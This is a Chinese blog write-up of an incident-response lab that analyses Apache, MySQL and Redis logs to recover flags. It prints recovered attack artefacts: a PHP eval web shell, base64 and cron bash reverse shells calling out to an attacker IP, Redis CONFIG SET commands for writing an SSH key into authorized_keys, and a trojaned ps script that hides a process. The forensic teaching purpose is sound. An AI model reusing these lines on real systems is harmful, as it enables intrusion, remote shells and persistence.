玄机应急响应 第二章 Apache日志分析+Mysql日志分析+Redis日志分析

apache日志分析

参考筛选命令：

grep -a "192.168.200.2" /var/log/auth.log.1 | grep -a 'Failed password root' | awk '{print $11}' |sort| uniq -c

1、提交当天访问次数最多的IP，即黑客IP：
命令:cat access.log.1 | awk '{print $1}'|sort|uniq -c

cat access.log.1 | awk '{print $1}'|sort|uniq -c

      1 
     29 ::1
   6555 192.168.200.2
      1 192.168.200.211
      5 192.168.200.38
      1 192.168.200.48

2、黑客使用的浏览器指纹是什么，提交指纹的md5：

#翻一下黑客这个IP后面的指纹即可
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

md5加密:2d6330f380f44ac20f3a02eed0958f66

3、查看index.php页面被访问的次数，提交次数：

cat access.log.1 | grep -o '/index.php' | wc -l
27

4、查看黑客IP访问了多少次，提交次数：

grep -Ea "^192.168.200.2 - -" /var/log/apache2/access.log.1 | wc -l
# 这个看别的师傅写的可以过来出来文本中有多少个
cat access.log.1 | awk '{print $1}'|sort|uniq -c
# 其实第一题已经出了

5、查看2023年8月03日8时这一个小时内有多少IP访问，提交次数:

grep -Ea "^[0-9]+.*+03/Aug/2023:[08|09]" /var/log/apache2/access.log.1 | awk '{print $1}' | uniq -c | wc -l

Mysql日志分析

本小节部分参考来自:https://www.cnblogs.com/dhan/p/18313848

1.黑客第一次写入的shell flag{关键字符串}

root@xuanji:/# find ./ type f -name "*.php" | xargs grep "eval(" 
find: `./proc/364/task/364/fdinfo': Permission denied
find: `./proc/364/task/368/fdinfo': Permission denied
find: `./proc/364/task/369/fdinfo': Permission denied
find: `./proc/364/task/370/fdinfo': Permission denied
find: `./proc/364/task/371/fdinfo': Permission denied
find: `./proc/364/task/372/fdinfo': Permission denied
find: `./proc/364/task/373/fdinfo': Permission denied
find: `./proc/364/task/374/fdinfo': Permission denied
find: `./proc/364/task/375/fdinfo': Permission denied
find: `./proc/364/task/376/fdinfo': Permission denied
find: `./proc/364/task/377/fdinfo': Permission denied
find: `./proc/364/task/378/fdinfo': Permission denied
find: `./proc/364/task/380/fdinfo': Permission denied
find: `./proc/364/task/381/fdinfo': Permission denied
find: `./proc/364/task/382/fdinfo': Permission denied
find: `./proc/364/task/383/fdinfo': Permission denied
find: `./proc/364/task/384/fdinfo': Permission denied
find: `./proc/364/task/385/fdinfo': Permission denied
find: `./proc/364/task/387/fdinfo': Permission denied
find: `./proc/364/fdinfo': Permission denied
find: `type': No such file or directory
find: `f': No such file or directory
./var/www/html/sh.php:1	2	<?php @eval($_POST['a']);?>	4

2、黑客反弹shell的ip flag{ip}

cd /var/log/apache2
cat access.log

192.168.200.2 - - [01/Aug/2023:02:18:37 +0000] "POST /adminer.php?username=root&sql=select%20sys_eval(%27ls%20-la%20%2Ftmp%2F1.sh%27)%3B HTTP/1.1" 200 4029 "http://192.168.200.31:8005/adminer.php?username=root&sql=select%20sys_eval(%27echo%20YmFzaCAtaSA%2BJi9kZXYvdGNwLzE5Mi4xNjguMTAwLjEzLzc3NyAwPiYx%7Cbase64%20-d%3E%2Ftmp%2F1.sh%27)%3B" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0"
#解密一下'echo bash -i +&/dev/tcp/192.168.100.13/777 0>&1|base64 -d>/tmp/1.sh'

3、黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx

cd /usr/lib/mysql/plugin/
#提权文件，前面提到过，按照正常逻辑的话，到这里的时候其实就是已经发现黑客可能有通过mysql连接上来，然后进行提权了，所以就要进行mysql应急响应。首要的提权方式就是通过写入udf文件。
#直接进入目录：cd /usr/lib/mysql/plugin/
#在这个目录中，我们有可能看不懂哪些是有用哪些是没用，这时候就是问运营了，我们安全人员不可能一个一个的给你分析，这样的话黑客早到处撒尿了，不过一般这里也不会有很多的udf文件。
#黑客的提权文件是udf.so，这里你就一个一个尝试了，因为我没专门学过，各位道友懂的话就直接看出来了。

md5(/usr/lib/mysql/plugin/udf.so)

4、黑客获取的权限 flag{whoami后的值}
首先我们要明白黑客是提权的话，他肯定是知道连接账号和密码，所以我们就要猜他怎么知道的，我们就要去看是不是有东西泄露了密码。

  • 发现在comment.php中泄露了密码，那黑客自然是能够连接上数据库然后尽心提权了。
    用户名：root
    密码：334cc35b3c704593
    连接的数据库名：cms
    在这里插入图片描述

这里就简单了，因为我们知道了黑客是通过那个文件进行提权的，而udf文件是通过在文件中写入某些功能函数，然后使用该函数可以进行提权，甚至可以提权到root，所以我们跟黑客一样使用一下该函数即可。
而该函数的名字我们在日志中也能直接看到黑客是通过该功能函数直接执行了whoami等一系列系统命令， 或者你能够通过mysql中直接查询有哪些函数。

  • 查看命令：select * from mysql.func;
    在这里插入图片描述
  • 在日志中也是能知道黑客使用了什么函数进行系统命令执行
    在这里插入图片描述
  • flag为：
    flag{mysql}
    在这里插入图片描述

Redis日志分析

本小节部分参考来自:https://blog.csdn.net/administratorlws/article/details/140024637

redis-cli INFO | grep redis_version
# 看看redis数据库的版本号

1.通过本地 PC SSH到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交;

419:S 31 Jul 2023 05:34:00.715 # Error condition on socket for SYNC: Connection refused
419:S 31 Jul 2023 05:34:01.717 * Connecting to MASTER 192.168.100.13:8888
419:S 31 Jul 2023 05:34:01.717 * MASTER <-> REPLICA sync started
419:S 31 Jul 2023 05:34:01.718 # Error condition on socket for SYNC: Connection refused
419:S 31 Jul 2023 05:34:02.719 * Connecting to MASTER 192.168.100.13:8888
419:S 31 Jul 2023 05:34:02.719 * MASTER <-> REPLICA sync started
419:S 31 Jul 2023 05:34:02.720 # Error condition on socket for SYNC: Connection refused
419:S 31 Jul 2023 05:34:03.034 * REPLICAOF 192.168.31.55:8888 enabled (user request from 'id=5 addr=192.168.200.2:64319 fd=7 name= age=0 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=47 qbuf-free=32721 obl=0 oll=0 omem=0 events=r cmd=slaveof')
419:S 31 Jul 2023 05:34:03.722 * Connecting to MASTER 192.168.31.55:8888
419:S 31 Jul 2023 05:34:03.722 * MASTER <-> REPLICA sync started
419:S 31 Jul 2023 05:34:33.173 * REPLICAOF 192.168.100.20:8888 enabled (user request from 'id=6 addr=192.168.200.2:64339 fd=7 name= age=0 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=48 qbuf-free=32720 obl=0 oll=0 omem=0 events=r cmd=slaveof')
419:S 31 Jul 2023 05:34:33.786 * Connecting to MASTER 192.168.100.20:8888
419:S 31 Jul 2023 05:34:33.786 * MASTER <-> REPLICA sync started
419:S 31 Jul 2023 05:34:33.788 * Non blocking connect for SYNC fired the event.
419:S 31 Jul 2023 05:34:35.192 * Master replied to PING, replication can continue...
419:S 31 Jul 2023 05:34:35.194 * Trying a partial resynchronization (request 7a73a1a4297a16c50d8465b0cc432444f0e5df71:1).
419:S 31 Jul 2023 05:34:35.195 * Full resync from master: ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ:1
419:S 31 Jul 2023 05:34:35.195 * Discarding previously cached master state.
419:S 31 Jul 2023 05:34:35.195 * MASTER <-> REPLICA sync: receiving 48040 bytes from master
419:S 31 Jul 2023 05:34:35.197 * MASTER <-> REPLICA sync: Flushing old data
419:S 31 Jul 2023 05:34:35.197 * MASTER <-> REPLICA sync: Loading DB in memory
419:S 31 Jul 2023 05:34:35.197 # Wrong signature trying to load DB from file
419:S 31 Jul 2023 05:34:35.197 # Failed trying to load the MASTER synchronization DB from disk
419:S 31 Jul 2023 05:34:35.791 * Connecting to MASTER 192.168.100.20:8888

2.通过本地 PC SSH到服务器并且分析黑客第一次上传的恶意文件,将黑客上传的恶意文件里面的 FLAG 提交;

题目让我们找到黑客第一次上传的恶意文件，一般来说我们都会先去翻翻日志，看看有什么可疑的活动，接着筛选可疑命令，搜索如 CONFIG SET、SLAVEOF、MODULE LOAD 等命令，这些命令可能被黑客用来修改 Redis 的配置或者加载恶意模块。**

同样根据上面日志发现exp.so恶意文件，直接导出来然后搜索一下flag

strings exp.so | grep "flag"

flag{XJ_78f012d7-42fc-49a8-8a8c-e74c87ea109b}

3.通过本地 PC SSH到服务器并且分析黑客反弹 shell 的IP 为多少,将反弹 shell 的IP 作为 FLAG 提交;

#题目让我们找到黑客反弹shell的IP是啥作为flag进行提交，那我们可以查看一下当前用户的定时任务那一些，如果黑客通过定时任务(cron job)进行持久化攻击，他们可能会在 crontab 中留下定时执行的恶意脚本、命令或反弹 shell 的配置。因此，通过检查 crontab -l，很可能会发现黑客设置的定时任务，从而找到恶意活动的迹象，那就试试呗。
root@ip-10-0-10-9:~# conrtab -l
-bash: conrtab: command not found
root@ip-10-0-10-9:~# crontab -l
# Edit this file to introduce tasks to be run by cron.
# 
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
# 
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').
# 
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# 
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
# 
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
# 
# For more information see the manual pages of crontab(5) and cron(8)
# 
*/1 * * * *  /bin/sh -i >& /dev/tcp/192.168.100.13/7777 0>&1
# m h  dom mon dow   command
root@ip-10-0-10-9:~#

4.通过本地 PC SSH到服务器并且溯源分析黑客的用户名，并且找到黑客使用的工具里的关键字符串(flag{黑客的用户-关键字符串} 注关键字符串 xxx-xxx-xxx)。将用户名和关键字符串作为 FLAG提交

题目让我们溯源查找黑客的用户名，并且找到黑客使用工具的关键字符串，那这里我们检查 一下SSH 登录日志，通常 SSH 登录的日志记录在系统的安全日志文件中，但是，SSH（Secure Shell）提供了两种主要的登录验证方式；

root@ip-10-0-10-9:~/.ssh# cat authorized_keys 
REDIS0009	redis-ver5.0.1
redis-bits󿿀򳨭etOused-memXU
𮤭preamble~𷷳shB9

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDh4OEFvyb4ubM7YPvzG/FfO6jE4PjLdmuCUdGP+aeLeJB5SXYT6zHkU9wlfY/Fo4UuBlhTqBaS6Ih/Wf62KepzrMsTQQYcSG/Xp8lgFzVCCFAk7apzxfRCPNk1pxaGiEF6MPoCmUu1UhC3ta3xyh2c4KZls0hyFN9JZsuD+siT8KVqm856vQ+RaTrZi3ThMa5gbeH+v3ZUcO35ZfMKor/uWXffHT0Yi06dsgIMN3faIiBrd1Lg0B5kOTaDq3fHs8Qs7pvR9C4ZTm2AK/Oct8ULdsnfS2YWtrYyC8rzNip9Wf083ZY1B4bj1UoxD+QwgThh5VP3xgRd9KDSzEYIBabstGh8GU5zDxr0zIuhQM35I0aALvojXl4QaaEnZwpqU3ZkojPG2aNC0QdiBK7eKwA38Gk+V8DEWc/TTkO+wm3aXYdll5sPmoWTAonaln1nmCiTDn4jKb73DxYHfSgNIDpJ6fS5kbWL5UJnElWCrxzaXKHUlqXJj3x81Oz6baFNv8= xj-test-user

# 搜索用户名xj-test-user
# 从https://github.com/xj-test-user/redis-rogue-getshell/commit/main#diff-e2fa2f9050e8bd7ab54078195ada26a886f357d57fa44e80b6f76dca29acac48L141
找到关键字

flag{xj-test-user-wow-you-find-flag}

5.通过本地 PC SSH到服务器并且分析黑客篡改的命令,将黑客篡改的命令里面的关键字符串作为 FLAG 提交;
推测攻击步骤

利用 Redis 写入：

黑客利用 Redis 未授权访问或其他漏洞，将上述内容写入 Redis 数据库，特别是将公钥写入服务器的 ~/.ssh/authorized_keys 文件。
这可以通过以下 Redis 命令实现：

 CONFIG SET dir /root/.ssh/
 CONFIG SET dbfilename "authorized_keys" 
 SAVE

通过上述命令，Redis 会在指定目录下创建或覆盖 authorized_keys 文件，将内容写入其中。
使用公钥登录：

黑客使用对应的私钥，通过 SSH 公钥验证方式登录到目标服务器，绕过密码验证。
从日志推断公钥验证

虽然提供的日志中没有明确提到使用公钥验证，但结合 Redis 配置和攻击手法，可以推断以下过程：

黑客通过 Redis 写入公钥。
随后通过 SSH 使用公钥验证成功登录服务器。
结论

从提供的公钥内容可以推断，黑客利用 Redis 漏洞或未授权访问，将自己的公钥写入目标服务器的 ~/.ssh/authorized_keys 文件，然后使用 SSH 公钥验证方式成功登录。这种方法避免了密码验证的步骤，更加隐蔽且难以检测。（没得说，确实牛）

通过本地 PC SSH到服务器并且分析黑客篡改的命令,将黑客篡改的命令里面的关键字符串作为 FLAG 提交;
解题思路；

题目让我找出黑客篡改的命令，有很多也是要一个一个进行排查；

审查系统日志：

查看系统的认证日志（如/var/log/auth.log或/var/log/secure），寻找异常的登录记录，特别是来自非授权用户或IP的登录尝试。
审查命令历史：

使用history命令查看最近执行的命令列表，检查是否有不正常的或未经授权的命令执行记录。
检查文件完整性：

使用工具如Tripwire、AIDE等检查关键系统文件的完整性和一致性，寻找是否有被篡改的文件或目录。
分析系统文件的时间戳和哈希值：

检查系统文件的修改时间戳和哈希值是否与预期的一致。异常的时间戳或哈希值可能表明文件已被篡改。
检查系统路径中的命令：

检查系统中的关键命令（如/bin、/sbin、/usr/bin等目录下的命令），确保其内容和哈希值与预期一致。
扫描系统和进程：

使用安全扫描工具（如rkhunter、chkrootkit等）扫描系统和进程，寻找已知的后门、木马或恶意程序。
分析网络流量和连接：

使用网络监控工具（如tcpdump、Wireshark等）分析服务器的网络流量和连接，查看是否有与恶意活动相关的异常流量或连接。
检查定时任务和启动项：

检查定时任务（通过crontab -l查看）和启动项（如/etc/init.d、/etc/systemd/system等），查找是否有恶意脚本或命令。
审查日志文件：

检查应用程序的日志文件，特别是涉及到系统命令执行或管理员操作的日志，查找异常活动或错误信息。
使用安全工具和服务：

借助安全信息与事件管理系统（SIEM）或安全运营中心（SOC）等工具，进行全面的安全事件分析和响应。
这一套下来不出意外的话，包查到，这里我就不多说了，直接说结果吧，前面几个都排查了，没什么问题，直到排查到“系统路径中的命令”时，发现了有一点特别的地方；

image
往下一点一点慢慢分析，发现ps有问题；

image

简单分析一下为什么；

从文件列表中可以看到，ps命令的权限为-rwxrwxrwx，这表示该命令具有读取、写入和执行权限，且对所有用户都是可读写可执行的。

异常的权限设置：

正常情况下，系统命令像ps应该有限制的权限，通常为-rwxr-xr-x（所有者可读写执行，组和其他用户只可读和执行）。权限为-rwxrwxrwx可能表明被人为更改过。
跟进继续分析，再次确认；

cat ps

得到；

image

简单分析一下内容；

#/bin/bash
oldifs="$IFS"
IFS='\$n'
result=$(ps_ $1 $2 $3|grep -v 'threadd' )
for v in $result;
do
        echo -e "$v\t";
done
IFS="$oldifs"
#//c195i2923381905517d818e313792d196

简单来说这段脚本是用来调用名为ps_的命令，并对其输出进行处理和过滤。

脚本解析：

#!/bin/bash 表示这是一个 Bash 脚本，用来执行后续的命令。
变量设置：

oldifs="$IFS"：保存旧的字段分隔符（IFS）值。
IFS='\$n'：设置新的字段分隔符为\$n（这里可能是一个笔误，正常应该是换行符\n，但写法上看起来可能是在尝试定义一个特殊分隔符）。
命令执行和处理：

result=$(ps_ $1 $2 $3|grep -v 'threadd' )：执行 ps_ 命令，并使用 grep 命令过滤掉包含’threadd’的行，将结果存储在 result 变量中。
for v in $result;：对 $result 中的每个变量 v 进行循环处理。
echo -e "$v\t";：输出每个变量 v，并在末尾添加一个制表符。
恢复原始设置：

IFS="$oldifs"：恢复原始的字段分隔符设置。
注释部分：

#//c195i2923381905517d818e313792d196：可能是作者用来标记或识别版本或修改的一部分。（待会提交一下试试看）

分析总结：

这段脚本似乎是为了获取 ps_ 命令的输出，并按行处理和输出结果。ps_ 命令的具体功能和输出内容在这里并未详细说明，但可以我们可以推测这是一个对系统进程进行查询和处理的脚本。
总体来说，这段脚本看起来是为了执行某个定制的进程查询命令，并对输出进行简单的格式化和显示。

尝试提交注释内容，发现提交正确；

flag{c195i2923381905517d818e313792d196}

感谢师傅们的文章参考:

Redis日志分析:https://blog.csdn.net/administratorlws/article/details/140024637
Mysql日志分析:https://www.cnblogs.com/dhan/p/18313848
posted @ 2024-11-19 11:42  萧瑟迪亲传大弟子  阅读(167)  评论(0)    收藏  举报